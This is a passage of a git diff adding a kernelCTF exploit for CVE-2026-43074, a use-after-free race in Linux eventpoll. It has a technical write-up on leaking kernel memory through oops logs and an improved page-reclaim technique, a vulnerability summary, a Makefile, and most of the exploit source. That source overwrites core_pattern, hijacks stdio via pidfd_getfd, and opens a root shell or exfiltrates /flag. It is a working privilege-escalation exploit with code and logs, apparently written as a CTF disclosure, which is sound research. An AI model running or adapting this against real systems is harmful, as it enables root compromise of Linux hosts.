`ep_get_upwards_depth_proc()`: after loading `*cred_jar->cpu_slab`, the +kernel does `sub rax, 0x50` and then `mov rbx, rax` before the faulting +dereference. The `0x50` is the `epitem_fllink` offset, so the log gives us +`RBX = cred - 0x50`. The exploit then reconstructs the candidate credential +address as `cred = RBX + 0x50`, which is exactly what the code does in stage +1.5: + +```text +[kmsg] leaked RBX=0xffffa270c64565b0, cred=0xffffa270c6456600 +``` + +The relevant instructions are: + +```text +1. rdi = ep = cred_jar->cpu_slab - eventpoll_refs_offset + +0xffffffff8155b8ae <+30>: mov rax,QWORD PTR [rdi+0xa0] +0xffffffff8155b8b5 <+37>: test rax,rax +0xffffffff8155b8b8 <+40>: je 0xffffffff8155b909 + +2. now rax = *cred_jar->cpu_slab = *(void**)freelist = next cred to be allocated + +0xffffffff8155b8ba <+42>: sub rax,0x50 +0xffffffff8155b8be <+46>: mov rbx,rax +0xffffffff8155b8c1 <+49>: je 0xffffffff8155b909 +0xffffffff8155b8c3 <+51>: xor r12d,r12d + +3. rbx = cred - 0x50, and if cred - 0x8 is not valid, then we will oops and leak rbx + +0xffffffff8155b8c6 <+54>: mov rdi,QWORD PTR [rbx+0x48] +0xffffffff8155b8ca <+58>: call 0xffffffff8155b890 +``` + +The second leak mode uses the fault address itself. We did not need it in the +final exploit, but it works as a clean standalone variant. +It is useful in the cases where `refs` itself is still valid, so the exact +mode would not crash at the place we want. + +In that case we slightly skew the slot we want to read. If an image-global +pointer at address `A` would be too valid to fault in the exact mode, we +instead target `A - 1`. That turns the recovered `epitem` base into a +one-byte-shifted version of the original pointer, and the subsequent +dereference faults on a correspondingly shifted address. + +In the example below, the target slot is the image-global `pm_wq`. This is the +global pointer to the power-management workqueue. The kernel initializes it by +calling `alloc_workqueue("pm", ...)` and storing the returned +`struct workqueue_struct *` into `pm_wq`, so the slot naturally holds a heap +pointer. We checked the memory content of `pm_wq` and confirmed that the +original full pointer value stored there was: + +```text +P = 0xffff8fb4c0838e00 +``` + +Then we targeted `pm_wq - 1` and got the following oops: + +```text +[ 558.588427] Oops: general protection fault, probably for non-canonical address 0xff8fb4c0838dfff8: 0000 [#5] SMP NOPTI +[ 558.592161] CPU: 1 UID: 1000 PID: 416 Comm: exploit Tainted: G D 6.12.82 #1 +[ 558.595139] Tainted: [D]=DIE +[ 558.596216] Hardware name: QEMU Ubuntu 24.04 PC v2 (i440FX + PIIX, arch_caps fix, 1996), BIOS 1.16.3-debian-1.16.3-2 04/01/2014 +[ 558.600205] RIP: 0010:ep_get_upwards_depth_proc.isra.0+0x36/0xa0 +[ 558.602376] Code: 16 04 41 54 55 48 89 fd 53 4c 39 af 98 00 00 00 74 62 48 8b 87 a0 00 00 00 48 85 c0 74 4f 48 83 e8 50 48 89 c3 74 46 45 31 e4 <48> 8b 7b 48 e8 c1 ff ff ff 83 c0 01 41 39 c4 44 0f 4c e0 48 8b 43 +[ 558.609036] RSP: 0018:ffff90c580c0fe08 EFLAGS: 00010246 +[ 558.610866] RAX: ff8fb4c0838dffb0 RBX: ff8fb4c0838dffb0 RCX: 0000000000000002 +[ 558.613350] RDX: 0000000000000000 RSI: 0000000000000000 RDI: ffffffff9367377f +[ 558.615863] RBP: ffffffff9367377f R08: ffff8fb4c6902781 R09: ffff8fb4c6902780 +[ 558.618404] R10: 0000000000000000 R11: 0000000000000000 R12: 0000000000000000 +[ 558.620847] R13: 000000000008fca7 R14: ffff90c580c0ff0c R15: 0000000000000000 +[ 558.623393] FS: 00007d65381ff6c0(0000) GS:ffff8fb4dc500000(0000) knlGS:0000000000000000 +[ 558.626261] CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033 +[ 558.628259] CR2: 000000002dfe0000 CR3: 00000001026b4000 CR4: 0000000000350ef0 +[ 558.630817] Call Trace: +[ 558.631721] +[ 558.632371] ep_get_upwards_depth_proc.isra.0+0x3f/0xa0 +[ 558.634150] ep_get_upwards_depth_proc.isra.0+0x3f/0xa0 +[ 558.636007] do_epoll_ctl+0x8b3/0x11e0 +[ 558.637292] ? srso_alias_return_thunk+0x5/0xfbef5 +[ 558.638996] ? __x64_sys_timerfd_settime+0xa0/0xf0 +[ 558.640705] __x64_sys_epoll_ctl+0x70/0xa0 +[ 558.642178] do_syscall_64+0x58/0x120 +[ 558.643510] entry_SYSCALL_64_after_hwframe+0x76/0x7e +[ 558.645341] RIP: 0033:0x516ffe +[ 558.646486] Code: 48 c7 c1 b8 ff ff ff f7 d8 64 89 01 48 83 c8 ff c3 66 2e 0f 1f 84 00 00 00 00 00 90 f3 0f 1e fa 49 89 ca b8 e9 00 00 00 0f 05 <48> 3d 01 f0 ff ff 73 01 c3 48 c7 c1 b8 ff ff ff f7 d8 64 89 01 48 +[ 558.653149] RSP: 002b:00007d65381ff0f8 EFLAGS: 00000202 ORIG_RAX: 00000000000000e9 +[ 558.655836] RAX: ffffffffffffffda RBX: 0000000000000000 RCX: 0000000000516ffe +[ 558.658360] RDX: 0000000000000006 RSI: 0000000000000001 RDI: 0000000000000004 +[ 558.660918] RBP: 00007d65381ff1e0 R08: 0007568696000000 R09: 000000f067d4dccc +[ 558.663492] R10: 00007d65381ff19c R11: 0000000000000202 R12: 0000000000000004 +[ 558.666010] R13: 00007ffcabc475e0 R14: 00007d6530000b70 R15: 00007ffcabc471a0 +[ 558.668609] +[ 558.669423] Modules linked in: +[ 558.670581] ---[ end trace 0000000000000000 ]--- +``` + +The useful value here is the fault address itself: + +```text +F = 0xff8fb4c0838dfff8 +``` + +Because the same code path first does `sub rax, 0x50`, stores the result in +`RBX`, and then faults at `mov rdi, [rbx+0x48]`, the fault address is exactly +the shifted slot value minus `8`: + +```text +V = F + 8 = 0xff8fb4c0838e0000 +P = 0xff00000000000000 | (V >> 8) + = 0xffff8fb4c0838e00 +``` + +The calculation works as follows. + +First, targeting `pm_wq - 1` means the kernel no longer reads the original +8-byte pointer `P` at its natural alignment. Instead it reads an 8-byte word +starting one byte earlier, so the useful `7` low bytes of `P` are still there +but shifted left by one byte. That shifted word is what we call `V`. + +Then the traversal logic applies the same fixed offsets as in the exact leak +mode: + +- it subtracts `0x50` to turn the slot value into a fake `epitem` base +- it then dereferences `[rbx + 0x48]` + +So the faulting address is not `V` itself but `V - 0x8`. That is why the first +recovery step is: + +```text +V = F + 8 +``` + +At that point we have the shifted 8-byte word. To get back the original +pointer, we undo the one-byte skew: + +```text +V >> 8 +``` + +This recovers the original low `7` bytes of `P`. The only byte that is lost is +the original top byte. On x86_64 kernel pointers that byte is not randomized +and is canonically `0xff`, so we restore it directly: + +```text +P = 0xff00000000000000 | (V >> 8) +``` + +So a one-byte skew does not destroy the information we care about. It only +drops the original top byte, while the lower `7` bytes survive and can be +shifted back into place. + +The end result is stronger than a one-off register disclosure. Even though the +bug has no built-in read primitive, these oopses let us recover the content of +attacker-chosen memory either way: when `refs` is invalid we use the exact +`RBX` leak, and when `refs` is still valid we use the shifted fault-address +leak. Together, the two modes give us an arbitrary memory-read primitive +through oops alone. + +Using these two modes, we first leak `GS`, then use it to find +`cred_jar->cpu_slab`, then leak that freelist pointer, and from there recover +the next `cred` address to be allocated. At that point the final write-zero +stage can clear `euid`. + +Conceptually, the oops path is no longer just a crash. It is our disclosure +oracle. + +## NPerm v2 + +`NPerm`, originally introduced by `@n132`, is the idea of reclaiming freed +pages that are still mapped in kernel image regions, so attacker-controlled +bytes can be left at a KASLR-relative kernel-image address. The original public +write-up is in +[`CVE-2025-38477_cos/docs/novel-techniques.md`](../../CVE-2025-38477_cos/docs/novel-techniques.md). +In our setting, NPerm is the stage-placement mechanism: it lets us place each +payload page directly inside the still-mapped kernel image. + +We scanned the NPerm-related write-ups currently present in this repository, +including the original `CVE-2025-38477_cos` document and the PR documents that +use or discuss NPerm. We did not find a version that pushes NPerm beyond +roughly `50%` success, and we did not find one that handles the `>4G` case. +As a baseline, our own reimplementation of the original `@n132` +userns+`pgv`+`mmap` design reaches `26/50` success for the fixed target page +`init_first` below `4G`, and `0/50` above `4G`. + +| original NPerm target | below `4G` success rate | above `4G` success rate| +| --- | --- | --- | +| `init_first` | `26/50` | `0/50` | + +The main extra difficulty is physical address randomization. Because the kernel +image can land either below or above `4G`, the same image page can belong to +different zones with different migration types. `DMA32` by definition requires +physical memory below `4G`. In our current `3.5G` memory setup, physical KASLR +puts the image below `4G` roughly `85%` of the time and above `4G` roughly +`15%` of the time. + +When the kernel image lands below `4G`, the target pages are usually +`DMA32/MOVABLE`; when it lands above `4G`, they are usually +`NORMAL/UNMOVABLE`. + +The original NPerm depends on user namespaces through the `pgv` path. The +reason it sits at roughly `50%` below `4G` is PCP locality. In the `<4G` case +it uses a single-threaded `mmap` spray and does not handle per-CPU PCP +ownership. + +After free, the target page is usually hanging from an order-0 PCP list, and +which CPU owns that PCP is effectively random from the exploit's point of +view. In one representative `20`-run probe of the original path, `init_first` +stayed on a PCP list in all `20` runs, but its owner CPU was `CPU1` in `13` +runs and `CPU0` in `7` runs. + +Above `4G`, it fails completely because plain `mmap` is trying to reclaim +`MOVABLE` memory while the target page is typically `NORMAL/UNMOVABLE`, so it +never reaches the right class of page. + +| `init_first` pre-state below `4G` | runs | +| --- | --- | +| `DMA32/MOVABLE` total | `20/20` | +| on PCP | `20/20` | +| PCP owned by `CPU1` | `13/20` | +| PCP owned by `CPU0` | `7/20` | + +Above `4G`, the picture is different: the target page is mainly +`NORMAL/UNMOVABLE`, which is exactly why plain `mmap` stops working there and a +different spray is needed. + +| `init_first` pre-state above `4G` | runs | +| --- | --- | +| `NORMAL/UNMOVABLE` total | `19/20` | +| `NORMAL/UNMOVABLE` on PCP owned by `CPU1` | `12/20` | +| `NORMAL/UNMOVABLE` on PCP owned by `CPU0` | `6/20` | +| `NORMAL/UNMOVABLE` on order-0 buddy | `1/20` | + +We detect this through `/proc/iomem`. Non-root cannot see the exact physical +addresses, but it can still see the relative layout. The key observation is +where `Kernel code` appears relative to the PCI bus window near `4G`. That is +already enough to tell whether the kernel image landed below or above `4G`. + +```text +# above 4G: the PCI bus window appears before the System RAM range that contains +# Kernel code, so the image must be in the high Normal zone. +user@lts-6:/$ cat /proc/iomem +00000000-00000000 : Reserved +00000000-00000000 : System RAM +00000000-00000000 : Reserved +00000000-00000000 : PCI Bus 0000:00 +... +00000000-00000000 : Reserved +00000000-00000000 : Reserved +00000000-00000000 : System RAM + 00000000-00000000 : Kernel code + 00000000-00000000 : Kernel rodata + 00000000-00000000 : Kernel data + 00000000-00000000 : Kernel bss +00000000-00000000 : PCI Bus 0000:00 + +# below 4G: Kernel code already appears inside the earlier low System RAM +# range, before the big PCI bus window around 4G. +user@lts-6:/$ cat /proc/iomem +00000000-00000000 : Reserved +00000000-00000000 : System RAM +00000000-00000000 : Reserved +00000000-00000000 : PCI Bus 0000:00 +... +00000000-00000000 : System RAM + 00000000-00000000 : Kernel code + 00000000-00000000 : Kernel rodata + 00000000-00000000 : Kernel data + 00000000-00000000 : Kernel bss +00000000-00000000 : Reserved +00000000-00000000 : PCI Bus 0000:00 +... +00000000-00000000 : System RAM +00000000-00000000 : PCI Bus 0000:00 +``` + +NPerm v2 then chooses the spray path accordingly: + +- below `4G`, use a fast `mmap`-based spray for `DMA32/MOVABLE`, accelerate it + with transparent huge pages, first consume `NORMAL` pages so the allocator + falls through into `DMA32`, and spray concurrently to cover PCP locality +- above `4G`, switch to a new `sendmsg` spray that can reclaim + `NORMAL/UNMOVABLE` pages without user namespaces + +NPerm v2 then chooses the spray path accordingly. This is what makes NPerm +practical in this exploit. The original userns-based path is not just +unavailable on LTS; plain `mmap` alone is also too slow there, usually over +`2s`. With the transparent-hugepage fast path we reduce the normal case to +roughly `700` to `800 ms`, which is already faster than the original +`pgv`-based version, and the `sendmsg` path is what makes the `>4G` case +actually work. + +In short, NPerm v2 is not just "NPerm but tuned." It is the first version that +makes this technique fast, userns-free, and close to `100%` reliable in the +exact setting we need. We are also looking at upstream hardening directions +that would remove this still-mapped image access pattern altogether. + +[1]: https://www.ndss-symposium.org/wp-content/uploads/2025-223-paper.pdf +[2]: https://i.blackhat.com/BH-US-24/Presentations/US24-Qian-PageJack-A-Powerful-Exploit-Technique-With-Page-Level-UAF-Thursday.pdf diff --git a/pocs/linux/kernelctf/CVE-2026-43074_lts/docs/vulnerability.md b/pocs/linux/kernelctf/CVE-2026-43074_lts/docs/vulnerability.md new file mode 100644 index 000000000..79367ea75 --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2026-43074_lts/docs/vulnerability.md @@ -0,0 +1,38 @@ +# Vulnerability + +CVE-2026-43074 is a race condition vulnerability in the Linux kernel. + +We refer to the exploit chain built on top of it as epollution. + +It occurs when eventpoll walks an epoll reference graph under RCU while another +thread concurrently drops the last reference to a parent `struct eventpoll` and +frees it with plain `kfree()`, resulting in a use-after-free. Different +concurrent paths can hit the same lifetime bug, including +`reverse_path_check_proc()` and `ep_get_upwards_depth_proc()`. + +The fix patch's `Fixes` tag was inaccurate, and the CVE announcement has +already been corrected: `f2e467a48287` introduced +`ep_get_upwards_depth_proc()`, but `reverse_path_check_proc()` already existed, +while the actual root cause was introduced by `58c9b016e128`. + +## Requirements +- **Capabilities**: none +- **Kernel configuration**: `CONFIG_EPOLL=y`. This is almost + always true in practice; disabling it requires `EXPERT`. +- **User namespaces**: not required. + +## Introduction +- **Commit**: [58c9b016e128](https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=58c9b016e128) +- **Description**: This commit changed eventpoll lifetime handling to use a refcount-based model without deferring `struct eventpoll` past RCU readers. + +## Fix +- **Commit**: [07712db80857](https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=07712db80857d5d09ae08f3df85a708ecfc3b61f) + +## Affected Versions +- Linux `v6.4-rc1` to `v7.0-rc7` + +## Subsystem +- VFS + +## Root Cause +- Race condition diff --git a/pocs/linux/kernelctf/CVE-2026-43074_lts/exploit/lts-6.12.82/Makefile b/pocs/linux/kernelctf/CVE-2026-43074_lts/exploit/lts-6.12.82/Makefile new file mode 100644 index 000000000..d781f2d7f --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2026-43074_lts/exploit/lts-6.12.82/Makefile @@ -0,0 +1,35 @@ +CXX := g++ + +KERNEL_XDK_INCLUDE_DIR ?= /usr/local/include +KERNEL_XDK_LIB_DIR ?= /usr/lib + +CXXFLAGS := -O2 -g -Wall -Wextra -std=gnu++20 -D_GNU_SOURCE -ffunction-sections -fdata-sections \ + -static -I$(KERNEL_XDK_INCLUDE_DIR) +LDFLAGS := -pthread -Wl,--gc-sections -L$(KERNEL_XDK_LIB_DIR) -lkernelXDK + +all: exploit + +MODULE_SOURCES := $(wildcard modules/*.cpp) +MODULE_HEADERS := $(wildcard modules/*.h) +OBJECTS := exploit.o $(MODULE_SOURCES:.cpp=.o) + + +exploit: target_db.kxdb $(OBJECTS) + $(CXX) $(CXXFLAGS) $(OBJECTS) -o $@ $(LDFLAGS) + +exploit_debug: target_db.kxdb $(OBJECTS) + $(CXX) $(CXXFLAGS) $(OBJECTS) -o $@ $(LDFLAGS) + +exploit.o: exploit.cpp $(MODULE_HEADERS) + $(CXX) $(CXXFLAGS) -c $< -o $@ + +modules/%.o: modules/%.cpp $(MODULE_HEADERS) + $(CXX) $(CXXFLAGS) -c $< -o $@ + +target_db.kxdb: + wget -O target_db.kxdb https://storage.googleapis.com/kernelxdk/db/kernelctf.kxdb + +clean: + rm -f exploit exploit_debug modules/*.o + +.PHONY: all clean diff --git a/pocs/linux/kernelctf/CVE-2026-43074_lts/exploit/lts-6.12.82/exploit b/pocs/linux/kernelctf/CVE-2026-43074_lts/exploit/lts-6.12.82/exploit new file mode 100755 index 000000000..7a35176b4 Binary files /dev/null and b/pocs/linux/kernelctf/CVE-2026-43074_lts/exploit/lts-6.12.82/exploit differ diff --git a/pocs/linux/kernelctf/CVE-2026-43074_lts/exploit/lts-6.12.82/exploit.cpp b/pocs/linux/kernelctf/CVE-2026-43074_lts/exploit/lts-6.12.82/exploit.cpp new file mode 100644 index 000000000..4cf551b72 --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2026-43074_lts/exploit/lts-6.12.82/exploit.cpp @@ -0,0 +1,837 @@ + +#include "modules/epoll_ratc.h" +#include "modules/kaslr_prefetch.h" +#include "modules/klog_reader.h" +#include "modules/module_context.h" +#include "modules/nperm.h" +#include "modules/shared_core.h" + +#include +#include +#include +#include +#include +#include + +int run_vuln_trigger_mode(); + +namespace { + +constexpr std::array kStage1Registers = { + KernelRegister::Gs, +}; + +constexpr std::array kStageCredLeakRegisters = { + KernelRegister::Rbx, +}; + +enum LongOptionId { + kOptionNpermAddr = 1000, + kOptionAnalyze, + kOptionVulnTrigger, +}; + +constexpr int kFastModeFd = 666; +constexpr int kShellModeFd = 665; +constexpr int kCredPrepareForks = 5; +constexpr int kTrackedReaderForkCount = 3; +constexpr size_t kCorePatternBufferSize = 80; +constexpr useconds_t kCorePatternRetrySleepUs = DEFAULT_READER_SLEEP_US; +constexpr unsigned int kFlagReaderRetryDelaySec = 5; + +unsigned long parse_ul(const char* text, const char* option_name) { + char* end = nullptr; + unsigned long value = strtoul(text, &end, 0); + + if (text[0] == '\0' || end == nullptr || *end != '\0') { + fprintf(stderr, "invalid value for %s: %s\n", option_name, text); + exit(1); + } + + return value; +} + +EpollRatcSettings make_epoll_ratc_settings(const PhaseOptions& options) { + return { + .timeout_min_ns = options.epoll_min_ns, + .timeout_max_ns = options.epoll_max_ns, + .timeout_step_ns = options.epoll_step_ns, + .parent_busy_wait_ns = options.parent_busy_wait_ns, + .use_ratc = options.use_ratc, + .tries = options.tries, + .adaptive_ratc = options.adaptive_ratc, + .adaptive_window_rounds = options.adaptive_window_rounds, + }; +} + +void log_stage_duration(const char* stage_name, uint64_t duration_ns) { + const MillisecondSplit duration_ms = MonotonicClock::split_ms(duration_ns); + + fprintf(stderr, "[nperm] stage=%s completed in %lu.%03lu ms\n", stage_name, duration_ms.whole, + duration_ms.fraction); +} + +void finish_timer(const char* stage_name, const Stopwatch& timer) { + log_stage_duration(stage_name, timer.elapsed_ns()); +} + +class FlagReaderRegistry { + public: + void track_process(pid_t pid); + void cleanup(); + + static void make_process_group(); + + private: + static constexpr size_t kPidCap = 4096; + + void track_pid(pid_t pid); + + std::array pids_{}; + size_t pid_count_ = 0; +}; + +struct CoreTrapState { + char core_pattern[kCorePatternBufferSize]{}; + int* claim = nullptr; +}; + +// Keep the mutable exploit state in one place so the stage order is easy to follow. +struct ExploitState { + ProgramOptions options{}; + std::optional epoll_ratc{}; + std::optional nperm_stage_runner{}; + FlagReaderRegistry flag_readers{}; + CoreTrapState core_trap{}; + KernelLogReader klog_reader{}; + uintptr_t leaked_rbx = 0; + uintptr_t leaked_gs = 0; + Stopwatch race_timer{}; +}; + +} // namespace + +void ProgramOptions::print_usage(const char* program_name) { + fprintf(stderr, + "usage: %s [options]\n" + " --nokaslr skip side-channel scans and use provided offsets\n" + " --shell shell mode\n" + " --image-offset HEX override image offset\n" + " --nperm-addr HEX override layout nperm address (default: 0x%lx)\n" + " --analyze print detailed timing reports after epoll phases\n" + " --vuln-trigger run only the standalone vulnerability trigger\n" + " --help show this help\n", + program_name, DEFAULT_NPERM_ADDR); +} + +void ProgramOptions::parse(int argc, char** argv) { + static const struct option long_options[] = { + {"nokaslr", no_argument, nullptr, 'n'}, + {"shell", no_argument, nullptr, 's'}, + {"image-offset", required_argument, nullptr, 'i'}, + {"nperm-addr", required_argument, nullptr, kOptionNpermAddr}, + {"analyze", no_argument, nullptr, kOptionAnalyze}, + {"vuln-trigger", no_argument, nullptr, kOptionVulnTrigger}, + {"help", no_argument, nullptr, 'h'}, + {0, 0, 0, 0}, + }; + + *this = {}; + optind = 1; + + for (;;) { + int current_option = getopt_long(argc, argv, "nsi:h", long_options, nullptr); + + if (current_option == -1) { + break; + } + + switch (current_option) { + case 'n': + runtime.nokaslr = true; + break; + case 's': + runtime.shell_mode = true; + break; + case 'i': + offsets.override_image_offset(parse_ul(optarg, "--image-offset")); + break; + case kOptionNpermAddr: + offsets.override_nperm_addr(parse_ul(optarg, "--nperm-addr")); + break; + case kOptionAnalyze: + runtime.analyze = true; + break; + case kOptionVulnTrigger: + runtime.vuln_trigger = true; + break; + case 'h': + print_usage(argv[0]); + exit(0); + default: + print_usage(argv[0]); + exit(1); + } + } + + if (optind != argc) { + print_usage(argv[0]); + exit(1); + } +} + +void FlagReaderRegistry::track_pid(pid_t pid) { + if (pid <= 0) { + return; + } + if (pid_count_ >= kPidCap) { + fprintf(stderr, "[reader] pid tracking full, cannot track reader pid=%d\n", pid); + return; + } + + pids_[pid_count_++] = pid; +} + +void FlagReaderRegistry::make_process_group() { + if (setpgid(0, 0) < 0 && errno != EACCES && errno != EPERM) { + fprintf(stderr, "[reader] setpgid(child) failed: %s\n", strerror(errno)); + } +} + +void FlagReaderRegistry::track_process(pid_t pid) { + if (setpgid(pid, pid) < 0 && errno != EACCES && errno != EPERM && errno != ESRCH) { + fprintf(stderr, "[reader] setpgid(parent, pid=%d) failed: %s\n", pid, strerror(errno)); + } + track_pid(pid); +} + +void FlagReaderRegistry::cleanup() { + if (pid_count_ == 0) { + return; + } + + fprintf(stderr, "[reader] cleaning %zu previous flag reader process groups\n", pid_count_); + for (size_t index = 0; index < pid_count_; ++index) { + pid_t pid = pids_[index]; + if (pid <= 0) { + continue; + } + if (kill(-pid, SIGKILL) < 0 && errno == ESRCH) { + (void)kill(pid, SIGKILL); + } + } + + for (int retry = 0; retry < 100; ++retry) { + bool any_alive = false; + + for (size_t index = 0; index < pid_count_; ++index) { + pid_t pid = pids_[index]; + int status = 0; + + if (pid <= 0) { + continue; + } + pid_t waited = waitpid(pid, &status, WNOHANG); + if (waited == pid || (waited < 0 && errno == ECHILD)) { + pids_[index] = 0; + continue; + } + if (waited == 0 || (waited < 0 && errno == EINTR)) { + any_alive = true; + } + } + + if (!any_alive) { + break; + } + // @sleep(desc="give previously signaled reader groups a brief chance to exit") + usleep(10000); + } + + pid_count_ = 0; +} + +bool kernel_after_second_pci() { + FILE* fp = fopen("/proc/iomem", "r"); + if (!fp) { + return false; + } + + char iomem_chunk[4096]; + size_t bytes_read = 0; + int pci_count = 0; + bool found = false; + + while ((bytes_read = fread(iomem_chunk, 1, sizeof(iomem_chunk), fp)) > 0) { + for (size_t index = 0; index < bytes_read; ++index) { + if (iomem_chunk[index] == 'P') { + pci_count++; + } else if (iomem_chunk[index] == 'K' && pci_count >= 2) { + found = true; + break; + } + } + if (found) { + break; + } + } + + fclose(fp); + return found; +} + +void spawn_and_release_children(int count) { + int ready_pipe[2]; + int release_pipe[2]; + + if (count <= 0) { + return; + } + FATAL_IF_NEG(pipe(ready_pipe), "pipe(ready)"); + FATAL_IF_NEG(pipe(release_pipe), "pipe(release)"); + + for (int index = 0; index < count; ++index) { + pid_t pid = FATAL_IF_NEG(fork(), "fork(sync child)"); + if (pid == 0) { + char token = 'R'; + + close(ready_pipe[0]); + close(release_pipe[1]); + if (write(ready_pipe[1], &token, 1) != 1) { + _exit(1); + } + if (read(release_pipe[0], &token, 1) != 1) { + _exit(1); + } + _exit(0); + } + } + + close(ready_pipe[1]); + close(release_pipe[0]); + + for (int index = 0; index < count; ++index) { + char token; + + FATAL_IF_NE(read(ready_pipe[0], &token, 1), 1, "read(sync ready)"); + } + + for (int index = 0; index < count; ++index) { + char token = 'X'; + + FATAL_IF_NE(write(release_pipe[1], &token, 1), 1, "write(sync release)"); + } + + close(ready_pipe[0]); + close(release_pipe[1]); + + for (int index = 0; index < count; ++index) { + (void)wait(nullptr); + } +} + +int send_flag_to_serial() { + int flag_fd = open("/flag", O_RDONLY); + if (flag_fd < 0) { + perror("open /flag"); + return 1; + } + + int serial_fd = open("/dev/ttyS0", O_WRONLY | O_NOCTTY); + if (serial_fd < 0) { + perror("open /dev/ttyS0"); + return 1; + } + + char serial_buffer[4096]; + ssize_t bytes_read = 0; + + while ((bytes_read = read(flag_fd, serial_buffer, sizeof(serial_buffer))) > 0) { + char* write_cursor = serial_buffer; + while (bytes_read > 0) { + ssize_t written = write(serial_fd, write_cursor, bytes_read); + if (written < 0) { + perror("write"); + return 1; + } + write_cursor += written; + bytes_read -= written; + } + } + + if (bytes_read < 0) { + perror("read"); + return 1; + } + if (tcdrain(serial_fd) < 0) { + perror("tcdrain"); + return 1; + } + + close(flag_fd); + close(serial_fd); + return 0; +} + +void setup_coredump_helper_fd(int target_fd, CoreTrapState& core_trap) { + int memfd = memfd_create("", 0); + int exefd = open("/proc/self/exe", 0); + sendfile(memfd, exefd, 0, 0xffffffff); + dup2(memfd, target_fd); + close(memfd); + close(exefd); + + snprintf(core_trap.core_pattern, sizeof(core_trap.core_pattern), "|/proc/%%P/fd/%d", target_fd); + + core_trap.claim = + static_cast(mmap(nullptr, sizeof(*core_trap.claim), PROT_READ | PROT_WRITE, + MAP_SHARED | MAP_ANONYMOUS, -1, 0)); + if (core_trap.claim == MAP_FAILED) { + fatal("mmap(core trap claim)"); + } + *core_trap.claim = 0; +} + +void trigger_core_pattern_trap(int parent_pid, CoreTrapState& core_trap) { + while (1) { + int core = open("/proc/sys/kernel/core_pattern", O_RDWR); + int written = write(core, core_trap.core_pattern, strlen(core_trap.core_pattern)); + + if (written > 0) { + int expected = 0; + if (__atomic_compare_exchange_n(core_trap.claim, &expected, 1, false, __ATOMIC_SEQ_CST, + __ATOMIC_SEQ_CST)) { + fprintf(stderr, "[core trap] core_pattern set to '%s'\n", core_trap.core_pattern); + fprintf(stderr, "sending SIGSTOP to parent pid=%d\n", parent_pid); + kill(parent_pid, SIGSTOP); + fprintf(stderr, + "[core trap] triggered, claiming core trap and sending SIGSEGV to self\n"); + raise(SIGSEGV); + } + exit(0); + } + + close(core); + // @sleep(desc="back off briefly before retrying the core_pattern overwrite race") + usleep(kCorePatternRetrySleepUs); + } +} + +static int xdup_cloexec_min(int fd, int minfd) { + int n = fcntl(fd, F_DUPFD_CLOEXEC, minfd); + return n; +} + +static int fetch_fd_safe(int pfd, int remote_fd) { + int fd = syscall(SYS_pidfd_getfd, pfd, remote_fd, 0); + if (fd < 0) + return -1; + + /* + * Always duplicate to an fd >= 3. + * Checking only fd <= 2 is not enough because multiple recovered descriptors + * can still collide with each other later in the helper setup. + */ + int safe = xdup_cloexec_min(fd, 3); + int saved_errno = errno; + close(fd); + errno = saved_errno; + + return safe; +} + +bool enter_shell(char* self_name) { + int pid, magic_fd; + + if (sscanf(self_name, "/proc/%d/fd/%d", &pid, &magic_fd) != 2) { + fprintf(stderr, "bad format: %s\n", self_name); + return false; + } + + if (magic_fd == kFastModeFd) { + fprintf(stderr, "fast mode triggered, outputting flag and exiting\n"); + return false; + } else if (magic_fd != kShellModeFd) { + fprintf(stderr, "unexpected magic fd: %d\n", magic_fd); + return false; + } + + int pfd = syscall(SYS_pidfd_open, pid, 0); + int stdin_fd = fetch_fd_safe(pfd, 0); + int stdout_fd = fetch_fd_safe(pfd, 1); + int stderr_fd = fetch_fd_safe(pfd, 2); + + dup2(stdin_fd, 0); + dup2(stdout_fd, 1); + dup2(stderr_fd, 2); + + close(stdin_fd); + close(stdout_fd); + close(stderr_fd); + + pid_t child = fork(); + if (child == 0) { + setsid(); + + if (ioctl(0, TIOCSCTTY, 0) < 0) + perror("TIOCSCTTY"); + + if (tcsetpgrp(0, getpgrp()) < 0) + perror("tcsetpgrp"); + + setenv("TERM", "linux", 1); + setenv("PS1", "\\u@\\h:\\w\\$ ", 1); + + printf("\033[1;32m[+] pwned\033[0m\n"); + + execl("/bin/bash", "bash", "-i", NULL); + perror("execl"); + _exit(127); + } + + int status; + waitpid(child, &status, 0); + return true; +} + +// @step(0) +// Re-enter through the coredump helper after a helper process wins the core_pattern race. +int handle_coredump_reentry(char* self_name) { + if (!enter_shell(self_name)) { + if (send_flag_to_serial() != 0) { + return 1; + } + } + + int reboot_ret = system("echo -1 > /proc/sys/kernel/panic; echo o > /proc/sysrq-trigger"); + (void)reboot_ret; + return 1; +} + +void setup_spray_payload(ExploitState& state) { + if (state.options.runtime.analyze) { + return; + } + + /* + * UAF reclaim stage: + * + * The freed eventpoll object is reclaimed with a spray buffer filled with + * final_addr: + * + * final_addr = nperm_addr + image_offset + 0x10 + * + * As a result, the original heap eventpoll object is filled with + * 0xffffffff85141010-like pointers. When the stale eventpoll is later used, + * its ep->refs field, located at offset 0xa0, is interpreted as pointing to + * 0xffffffff85141010. + * + * NPERM layout: + * + * ffffffff85141000 0000000000000000 xxxxxxxx <- first_ep + * ffffffff85141010 yyyyyyyy + * + * During ep->refs traversal, 0xffffffff85141010 is interpreted as + * epi->fllink. + * + * In struct epitem: + * ep is at offset 0x48 + * fllink is at offset 0x50 + * + * Therefore, if epi->fllink is placed at 0xffffffff85141010, the fake epitem + * base is: + * + * fake_epi = 0xffffffff85141010 - 0x50 + * + * and fake_epi->ep is read from: + * + * fake_epi + 0x48 = 0xffffffff85141008 + * + * This makes the preceding qword control fake_epi->ep while the current qword + * serves as fake_epi->fllink, allowing a compact chained payload: + * + * ffffffff85141000 0000000000000000 [payload 1] + * ffffffff85141010 ffffffff85141020 [payload 2] + * ffffffff85141020 ffffffff85141030 [payload 3] + * ffffffff85141030 ffffffff85141040 [payload 4] + * ffffffff85141040 0000000000000000 0000000000000000 + * + * Each payload address is then reached as fake_epi->ep and passed back into + * ep_get_upwards_depth_proc(). Under the right conditions, + * that function writes zero to selected offsets relative to the controlled + * address, giving us a constrained write-zero primitive. + */ + size_t final_addr = state.options.layout.nperm_addr + state.options.offsets.image_offset + 0x10; + state.epoll_ratc->initialize_spray_payload(final_addr); +} + +// @step(1) +// Step 1: initialization, layout resolution, KASLR, and initial 